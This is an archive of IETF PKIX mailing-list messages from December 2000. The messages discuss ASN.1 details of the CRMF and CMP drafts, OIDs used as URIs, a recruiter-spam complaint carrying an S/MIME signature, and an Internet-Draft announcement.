>Subject: RE: draft-ietf-pkix-rfc2511bis-00
>
>
>
>Hi Ari,
>
>RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the
>section in 2510 discusses semantic interpretation).  Therefore, publicKeyMAC
>is untagged.  I will try to remember to remove the tag from rfc2510bis as it
>progresses.
>
>Thanks for noticing this!
>
>Carlisle.
>
>
>         ----------
>From:   Ari Kermaier[SMTP:arik@phaos.com]
>Sent:   Thursday, November 30, 2000 2:20 PM
>To:     ietf-pkix@imc.org
>Subject:        RE: draft-ietf-pkix-rfc2511bis-00
>
>         A question of ASN.1 in CRMF:
>
>         draft-ietf-pkix-rfc2511bis-00 Section 4.4 has:
>
>             POPOSigningKeyInput ::= SEQUENCE {
>         authInfo            CHOICE {
>             sender              [0] GeneralName,
>             -- used only if an authenticated identity has been
>             -- established for the sender (e.g., a DN from a
>             -- previously-issued and currently-valid certificate)
>             publicKeyMAC        PKMACValue },
>             -- used if no authenticated GeneralName currently exists for
>             -- the sender; publicKeyMAC contains a password-based MAC
>             -- on the DER-encoded value of publicKey
>         publicKey           SubjectPublicKeyInfo }  -- from CertTemplate
>
>         draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has:
>
>               POPOSigningKeyInput ::= SEQUENCE {
>           authInfo            CHOICE {
>               sender              [0] GeneralName,
>               -- from PKIHeader (used only if an authenticated identity
>               -- has been established for the sender (e.g., a DN from a
>               -- previously-issued and currently-valid certificate))
>               publicKeyMAC        [1] PKMACValue
>               -- used if no authenticated GeneralName currently exists for
>               -- the sender; publicKeyMAC contains a password-based MAC
>               -- (using the protectionAlg AlgId from PKIHeader) on the
>               -- DER-encoded value of publicKey
>           },
>           publicKey           SubjectPublicKeyInfo    -- from CertTemplate
>       }
>
>         So -- is the publicKeyMAC choice tagged or not?
>
>         Ari Kermaier



Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA17602 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 10:54:38 -0800 (PST)
Received: from asn-1.com (user-2ivf1d0.dialup.mindspring.com [165.247.133.160]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id NAA19227 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 13:56:15 -0500 (EST)
Message-ID: <3A29468D.A5B5FD4D@asn-1.com>
Date: Sat, 02 Dec 2000 13:59:25 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting 
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix@imc.org
Subject: Re: OIDs as URIs
References: <613B3C619C9AD4118C4E00B0D03E7C3E3CBA3B@exchange.valicert.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Frank Balluffi wrote (in part):
> 

snip
 
> I am still confused as to the purpose of a Uniform Resource Identifier (URI)
> for an object identifier. It seems to me that a URI identifies a way to use
> a resource whereas an object identifier just identifies something (e.g., an
> algorithm).
> 
> For example, suppose I have a URI for the RSA encryption algorithm, what can
> I do with it?
> 
> Frank

Frank,

I'm not sure, but I think that the U must stand for
Universal, with the idea here that everything in the
universe can be improved by making it a web resource,
either real or pretend. 

That could explain why when clicking on the link 
<DigestMethod 
  Algorithm="http://www.w3.org/2000/01/xmldsig/sha1"/> 
from draft-ietf-pkix-scvp-04.txt, all that I get for 
now is "Sorry, Not Found".

This work is just at the draft stage. But it's not so
hard to imagine that one day, when the work is complete, 
that there will actually be a helpful web page at this
address with useful sha1 information available in all
of the world's languages.

Quite a production for a simple little switch.

But it strikes me that if folks were actually required
to construct and maintain a new web page for each and
every OID they ever issued, it might help to slow down
the OID growth rate. This could be a good thing!

Phil


Received: from tholian.securitydynamics.com (tholian.securid.com [204.167.112.129]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA15853 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 10:20:08 -0800 (PST)
Received: from sdtihq24.securitydynamics.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 1 Dec 2000 18:21:37 UT
Received: from exrsa01.rsa.com (exrsa01.securitydynamics.com [10.81.217.7]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id NAA14887 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 13:21:49 -0500 (EST)
Received: by exrsa01.rsa.com with Internet Mail Service (5.5.2650.21) id <WN15Z523>; Fri, 1 Dec 2000 10:21:48 -0800
Message-ID: <E7B6CB80230AD31185AD0008C7EBC4D26663D1@exrsa01.rsa.com>
From: "Jacoby, Jeffrey" <jjacoby@rsasecurity.com>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: RE: draft-ietf-pkix-rfc2511bis-00
Date: Fri, 1 Dec 2000 10:21:48 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Hi,
 
Another thing that would be nice to clear up in
draft-ietf-pkix-rfc2511bis-00.txt
is the comments on PBMParameter.  In section 4.4.1 (and also in Appendix C)
is 
this:
 
PBMParameter ::= SEQUENCE {
  salt                OCTET STRING,        
  owf                 AlgorithmIdentifier,
  -- AlgId for a One-Way Function (SHA-1 recommended)         
  iterationCount      INTEGER,         
  -- number of times the OWF is applied         
  mac                 AlgorithmIdentifier         
  -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11],   
} -- or HMAC [RFC2104, RFC2202])
 
However, at the end of that very section, is this statement:
 
  The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and
  for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}.
 
So why, in the comments, is SHA-1 "recommended", and numerous examples are
given for mac?
 
Jeff
 
--------------------------------------------------------------------------


Jeff Jacoby         phone: (650) 295-7569
Sr. Developer       email: jjacoby@rsasecurity.com
<mailto:jjacoby@rsasecurity.com>        

RSA Security, SMDC
2755 Campus Drive, Suite 300
San Mateo, CA 94403


 


 

-----Original Message-----
From: Carlisle Adams [ mailto:carlisle.adams@entrust.com
<mailto:carlisle.adams@entrust.com> ]
Sent: Thursday, November 30, 2000 12:51 PM
To: 'Ari Kermaier'
Cc: ietf-pkix@imc.org <mailto:ietf-pkix@imc.org> 
Subject: RE: draft-ietf-pkix-rfc2511bis-00



Hi Ari, 

RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the
section in 2510 discusses semantic interpretation).  Therefore, publicKeyMAC
is untagged.  I will try to remember to remove the tag from rfc2510bis as it
progresses.

Thanks for noticing this! 

Carlisle. 


	---------- 
From:   Ari Kermaier[SMTP:arik@phaos.com] 
Sent:   Thursday, November 30, 2000 2:20 PM 
To:     ietf-pkix@imc.org 
Subject:        RE: draft-ietf-pkix-rfc2511bis-00 

	A question of ASN.1 in CRMF: 

	draft-ietf-pkix-rfc2511bis-00 Section 4.4 has: 

	    POPOSigningKeyInput ::= SEQUENCE { 
        authInfo            CHOICE { 
            sender              [0] GeneralName, 
            -- used only if an authenticated identity has been 
            -- established for the sender (e.g., a DN from a 
            -- previously-issued and currently-valid certificate) 
            publicKeyMAC        PKMACValue }, 
            -- used if no authenticated GeneralName currently exists for 
            -- the sender; publicKeyMAC contains a password-based MAC 
            -- on the DER-encoded value of publicKey 
        publicKey           SubjectPublicKeyInfo }  -- from CertTemplate 

	draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has: 

	      POPOSigningKeyInput ::= SEQUENCE { 
          authInfo            CHOICE { 
              sender              [0] GeneralName, 
              -- from PKIHeader (used only if an authenticated identity 
              -- has been established for the sender (e.g., a DN from a 
              -- previously-issued and currently-valid certificate)) 
              publicKeyMAC        [1] PKMACValue 
              -- used if no authenticated GeneralName currently exists for 
              -- the sender; publicKeyMAC contains a password-based MAC 
              -- (using the protectionAlg AlgId from PKIHeader) on the 
              -- DER-encoded value of publicKey 
          }, 
          publicKey           SubjectPublicKeyInfo    -- from CertTemplate 
      } 

	So -- is the publicKeyMAC choice tagged or not? 

	Ari Kermaier 



Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA09359 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 08:45:50 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id IAA09148; Fri, 1 Dec 2000 08:48:52 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id <YBYXZ3HJ>; Fri, 1 Dec 2000 08:47:15 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F40154C721@vhqpostal.verisign.com>
From: Philip Hallam-Baker <pbaker@verisign.com>
To: "'Pierce, Shirley'" <shirley.pierce@tmp.com>, "'Heidi Kay'" <heidi@kayconcepts.com>, ietf-pkix@imc.org
Subject: Please do not help them Was:RE: please help in my search
Date: Fri, 1 Dec 2000 08:47:14 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="----=_NextPart_000_0003_01C05B8C.ADA143F0"; micalg=SHA1; protocol="application/x-pkcs7-signature"
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

This is a multi-part message in MIME format.

------=_NextPart_000_0003_01C05B8C.ADA143F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

This type of message is off topic and inappropriate for a working
group. 

If technical recruiters start filling up newsgroups with SPAM I 
suggest that we disintermediate them imediately. I don't think
we need to pay recruiters $30K++ to fill positions through
posts to the PKIX list.

Anyone looking for a job with a strong PKI resume should be able
to find one in a few days by surfing the PKI companies corporate
Web sites.

In the meantime recruiters should note that standard IETF practice
is for anyone who uses a working group for recruitment to return
10% of the fee or hiring bonus to the working group in the form of
donuts at the next IETF working group meeting.

I don't know about you but personally I don't think we need the
additional problem of having to eat $3000 worth of donuts. That 
would be at least $10 worth of donuts per head - or four boxes of
12!

So for the sake of our diets and in the interests of SPAM control
anyone looking for a PKI job in should send their resume to me. The
comparitively modest hiring bonus I will then receive will pay 
for an entirely manageable number of donuts.

	Phill

------=_NextPart_000_0003_01C05B8C.ADA143F0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIINaDCCAj0w
ggGmAhEAulrJTAU7ktantt9O0FOSDTANBgkqhkiG9w0BAQIFADBfMQswCQYDVQQGEwJVUzEXMBUG
A1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVibGljIFByaW1hcnkgQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNOTYwMTI5MDAwMDAwWhcNMDQwMTA3MjM1OTU5WjBfMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVi
bGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBALZai6MNaiODgGvPOYf0IRMzBkwlou1VEpfFp4C5+oPBIKD6LxUNfKFga355LPoGDzqu
9htvsdL/LyhSX4N9S8R6t/hmH4BU/LfCjllKFFdG0ZqTvkGRA7sVgJNc6+fMCGw/PrNK/P9LbCPV
UIImRBmOI8Nx6hkkRwSedb/IpgAfAgMBAAEwDQYJKoZIhvcNAQECBQADgYEAtgAfk1ekB6dAzmVA
P1Ve7e/6VEmlMNYhfGGH7oOTC7+0M/KYrJ8Gv06ozhSBTMsETljDz1/ufNeab8tBird/gbj/hGHG
J0NlHQzssQAK3Ruku8d4ICiyot02lS7hVE+/YLl3aBGZI+jqUuiqAE5nTruQtUWbRuuOFu/EM1sz
PdUwggNDMIICrKADAgECAhAffl/nA9Hgv5kg3GuJDUsEMA0GCSqGSIb3DQEBBAUAMF8xCzAJBgNV
BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMiBQdWJsaWMg
UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05OTAyMjUwMDAwMDBaFw0wNDAxMDUy
MzU5NTlaMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1
c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93
d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEmMCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQ
ZXJzb25uZWwgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKcEbA+icrdKBi741yksNJ2C
vEiRSses+en8uVl4sVXAU1ixz28WO8FJ1cv0bszhzMu1xy5OiKo06bbQW3w+FVc04Ri8/931r2dZ
IArlPeqIikDSmokTKam21dunfuHnNyST/ZR0TXrkMm1M6FwWl6/dktlmihRm5OpaA6g9X/sLAgMB
AAGjgbAwga0wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMi5j
cmwwEQYJYIZIAYb4QgEBBAQDAgEGMEcGA1UdIARAMD4wPAYLYIZIAYb4RQEHAQEwLTArBggrBgEF
BQcCARYfaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rcjAPBgNVHRMECDAGAQH/AgEBMAsG
A1UdDwQEAwIBBjANBgkqhkiG9w0BAQQFAAOBgQB59xXN6GhRWWv8qaa94B77vPQ/kN/n+u3kVPdh
PVSLBrqXMloeqyzur3Orx13TP4/0zstOSGCiqGC2ON6gpvePKegRrMw5dlA83TlsC/Fa/QhUdt0W
bPcxcLi/CPfJJgaO37svGbG2uLToPEjoJ7GXKSBXA5ybZ/p9QMQ4fxiqmjCCA8QwggMtoAMCAQIC
EQCEzvIOADm1dVXaGYePUu2JMA0GCSqGSIb3DQEBBAUAMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwg
SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1
YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEm
MCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQZXJzb25uZWwgQ0EwHhcNOTkwMjI1MDAwMDAwWhcN
MDQwMTA0MjM1OTU5WjCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT
aWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0
dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENs
YXNzIDIgRW1wbG95ZWUgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMCK0YdhouowA1Vr
CDbwl/oaVDUkH+h9ncjDc9PYRvWRLdk47ZTXsCZzKt6XUE3/Ihy9cACYDFgqsaRyj6W59y18YOO1
3+l9TiEhYdX8O1TJpAmcuyL5orpwYU+GRqL9BWTsCj+mWHZXuxZzRHzwpQ2XwGym8WMIJbEEF5Wg
jf5/AgMBAAGjgeIwgd8wKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMTE4
MDgGA1UdHwQxMC8wLaAroCmGJ2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL1ZTQ2xhc3MySW50LmNy
bDARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsGCCsGAQUF
BwIBFh9odHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWtyMA8GA1UdEwQIMAYBAf8CAQAwCwYD
VR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBABlGztRrcI5YXIhCNa0WfaUJLKhTkPH2PYbX8M5y
FD0ivPLDM+3U/AWa4GMgdaMb71UZDwZzIQJhrqaeUSt43FvIhIvV17bP1fg+l5ixRIujmI6gS/aY
MZOz8AzdUXbKl+RWRMb7lKFIfSJDzKDGXHlV9WeBG2iYNCREsZjBOiheMIIEFDCCA32gAwIBAgIQ
AxTuqrYcesW8jpUyudZ0/DANBgkqhkiG9w0BAQQFADCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIElu
Yy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJq
ZWN0IHRvIHRlcm1zIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAj
BgNVBAMTHFZlcmlTaWduIENsYXNzIDIgRW1wbG95ZWUgQ0EwHhcNOTkxMjIwMDAwMDAwWhcNMDAx
MjE5MjM1OTU5WjBsMREwDwYDVQQKEwhWRVJJU0lHTjELMAkGA1UECxMCSFExEzARBgNVBAMTClJl
Y2lwaWVudHMxNTAzBgNVBAMTLHBiYWtlciAoUGhpbGlwIEhhbGxhbS1CYWtlciwgVmVyaVNpZ24s
IEluYy4pMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC3f0kRIy2AU5cHhfnUwuHecFNq6dnf
/wsvxS//4Nt8rFgr2KdvQETKaQ6wGl6mVijB6udZW9dUKVoE1lnu2MMcIhtAL3+Q2dsrxlrTInfq
PKAdxu/Fvb4n3Y0RItW9zh1MzFWZ8Q9z6eF2HuBwG6ANfRzfJgironyftbbitRyaxQIDAQABo4IB
dDCCAXAwCQYDVR0TBAIwADBVBgNVHR8ETjBMMEqgSKBGhkRodHRwOi8vb25zaXRlY3JsLnZlcmlz
aWduLmNvbS9WZXJpU2lnbkluY0V4Y2hhbmdlRW1wbG95ZWVzL0xhdGVzdENSTDALBgNVHQ8EBAMC
BaAwHgYDVR0RBBcwFYETcGJha2VyQHZlcmlzaWduLmNvbTCBrAYDVR0gBIGkMIGhMIGeBgtghkgB
hvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL0NQUzBiBggr
BgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3MgQ1BTIGluY29ycC4g
YnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJYIZIAYb4QgEBBAQDAgeA
MB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQcDAjANBgkqhkiG9w0BAQQFAAOBgQAaUApBXCjc
mPE5dFPHlQVl4n9WoOU7AE487xxC7vcR1MDhF8p/0GMu6zOyZe9CFVaOndaYCRgv69qKTVoANmsM
F/eFsQn/HaoXEz+jHPNgWcPyBu3dujO9s2PLQbuBXE3rIaDiVyTftVgoNvO0fcknSlNOWxqHvbaH
9RYvhMghkjGCAvgwggL0AgEBMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE
CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVy
bXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTElMCMGA1UEAxMcVmVy
aVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAJBgUrDgMCGgUAoIIB
jDAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMDEyMDExNjQ4NTNa
MCMGCSqGSIb3DQEJBDEWBBQjXV3pKI7MeuaPoGOLpWj2nHkh0DBYBgkqhkiG9w0BCQ8xSzBJMAoG
CCqGSIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAHBgUrDgMC
GjAKBggqhkiG9w0CBTCB0gYJKwYBBAGCNxAEMYHEMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwg
SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1
YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEl
MCMGA1UEAxMcVmVyaVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAN
BgkqhkiG9w0BAQEFAASBgGnwTLanKsOUxC0PI+zLlZQJ5BnlCKgQ8FZwx/3r7h96gVTRVj1HkJbk
ZmHtoryQat3Py7ze9kSPCZbxst4UXBRvBFOG0SerK3lWT7dxbaK8UzOf9joBWS6ym5Gzi103eK4u
lXlYJpmA3k5w+bVcYO5jHn6rXPM6TE0r5/9U7BFdAAAAAAAA

------=_NextPart_000_0003_01C05B8C.ADA143F0--



Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA26569 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 06:17:43 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <W5KZL9NW>; Fri, 1 Dec 2000 09:19:37 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD053EC1@sottmxs09.entrust.com>
From: Carlisle Adams <carlisle.adams@entrust.com>
To: "'FRousseau@chrysalis-its.com'" <FRousseau@chrysalis-its.com>
Cc: ietf-pkix@imc.org
Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt
Date: Fri, 1 Dec 2000 09:19:20 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05BA1.B2866BB0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C05BA1.B2866BB0
Content-Type: text/plain

Hi Francois,

> ----------
> From:
> FRousseau@chrysalis-its.com[SMTP:FRousseau@chrysalis-its.com]
> Sent: 	Thursday, November 30, 2000 11:27 AM
> To: 	ietf-pkix@imc.org
> Subject: 	RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt
> 
> Since the same comment that had previously been added in rfc2510bis for
> clarifying when the EncryptedValue is used to carry a private key was also
> added in this Internet Draft, PKCS#11 and ANSI X9.42 should probably be
> added as references in this document.
 
Yes, the references could be added.  I'll try to remember to put them in
before the document progresses.

> Note also that the next draft of PKCS#11 v2.11 will include explicit
> support for the ANSI X9.42 flavour of Diffie-Hellman and the wrapping
> (i.e. encryption) of X9.42 Diffie-Hellman private keys.  Therefore the
> exception that the D-H algorithm OID and parameters MUST be as defined in
> ANSI X9.42 might soon become superfluous.
 
True.  As you know, however, it depends on timing.  Unless the new PKCS #11
comes out (in a stable, referencable form) before progression of this
document, there will be no choice but to continue to include this exception
in the text.

Thanks again for your careful reading of this revision!

Carlisle.


------_=_NextPart_001_01C05BA1.B2866BB0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Francois,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">FRousseau@chrysalis-its.com[SMTP:FRousseau@chrysalis-its.com]</FO=
NT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Thursday, November 30, 2000 11:27 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">ietf-pkix@imc.org</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Since the same comment that had =
previously been added in rfc2510bis for clarifying when the =
EncryptedValue is used to carry a private key was also added in this =
Internet Draft, PKCS#11 and ANSI X9.42 should probably be added as =
references in this document.</FONT></P>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Yes, the =
references could be added.&nbsp; I'll try to remember to put them in =
before the document progresses.</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">Note also that the next draft of =
PKCS#11 v2.11 will include explicit support for the ANSI X9.42 flavour =
of Diffie-Hellman and the wrapping (i.e. encryption) of X9.42 =
Diffie-Hellman private keys.=A0 Therefore the exception that the D-H =
algorithm OID and parameters MUST be as defined in ANSI X9.42 might =
soon become superfluous.</FONT></P>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">True.&nbsp; As you know, however, it depends on timing.&nbsp; =
Unless the new PKCS #11 comes out (in a stable, referencable form) =
before progression of this document, there will be no choice but to =
continue to include this exception in the text.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Thanks =
again for your careful reading of this revision!</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C05BA1.B2866BB0--


Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA14959 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 03:31:42 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26034; Fri, 1 Dec 2000 06:33:21 -0500 (EST)
Message-Id: <200012011133.GAA26034@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: ietf-pkix@imc.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-pkix-rfc2510bis-02.txt
Date: Fri, 01 Dec 2000 06:33:21 -0500
Sender: nsyracus@cnri.reston.va.us

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Certificate 
                          Management Protocols
	Author(s)	: C. Adams, S. Farrell
	Filename	: draft-ietf-pkix-rfc2510bis-02.txt
	Pages		: 89
	Date		: 30-Nov-00
	
This document describes the Internet X.509 Public Key Infrastructure
(PKI) Certificate Management Protocols. Protocol messages are defined
for all relevant aspects of certificate creation and management.
Note that 'certificate' in this document refers to an X.509v3
Certificate as defined in [COR95, X509-AM].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-rfc2510bis-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
